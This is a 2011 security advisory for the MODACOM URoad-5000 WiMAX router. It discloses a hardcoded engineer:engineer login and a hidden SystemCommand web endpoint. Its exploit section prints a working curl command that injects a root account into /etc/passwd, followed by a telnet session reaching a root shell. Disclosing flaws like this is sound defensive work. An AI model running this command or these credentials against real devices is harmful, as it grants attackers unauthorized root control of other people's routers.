MODACOM URoad-5000 v1450 Remote Command Execution/Backdoor

      ================================================
     == Alex Stanev Security Advisory #4 @31.05.2011 ==
     ==             http://sec.stanev.org            ==
      ================================================

PRODUCT
     URoad-5000

VENDOR
     MODACOM [http://www.modacom.co.kr]

VERSIONS AFFECTED
     v1450

CLASS
     Remote command execution/Backdoor

PRODUCT DESCRIPTION
     URoad-5000 is integrated battery powered wireless router. It comes with only one external USB
     interface and no other hardware comm interfaces (such as ethernet). Based on RaLink SoC 3050.
     The USB port is used for connection with MW-U3050, which is USB WiMAX dongle.
     Linux inside.
     Often marketed as WiMAX 2 WiFi "converter".

THE PROBLEM
     The box uses modified version of RaLink SDK. The standard web interface is accessed via HTTP.
     1) Web administration interface can be accessed with standard user/password pair admin:admin
     This can be later changed, but there is another possible access pair - engineer:engineer
     and it can't be changed via the web interface.
     2) Some of the SDK standard scripts are left and their screens in the web interface are just
     HTML commented. This reveals the /goform/SystemCommand method.

EXPLOIT
     1) Remote add r00t user with password boza
          $curl --basic -u "engineer:engineer" \
         -d "command=echo -e \"r00t:CRYM.sLY1U1AI:0:0:Adminstrator:/:/bin/sh\" >> /etc/passwd;&SystemCommandSubmit=Apply" \
         192.168.100.254/goform/SystemCommand
          $telnet 192.168.100.254
          Trying 192.168.100.254...
          Connected to 192.168.100.254.
          modacom login: r00t
          Password: boza
          BusyBox v1.12.1 (2010-03-05 21:33:57 KST) built-in shell (ash)
          Enter 'help' for a list of built-in commands.
          #

ADDITIONAL INFO
     The flaw was presented on OpenFest 2010.
     Presentation: http://openfest.org/files/slides-2010/OpenFest2010_Reverse_engineering_Alex_Stanev.pdf [in bulgarian]

PATCH/WORKAROUND
     No workaround possible. Next version?

VENDOR STATUS
     NOT informed. Backdoor.

     =========================
    ==           EOF         ==
    == http://sec.stanev.org ==
     =========================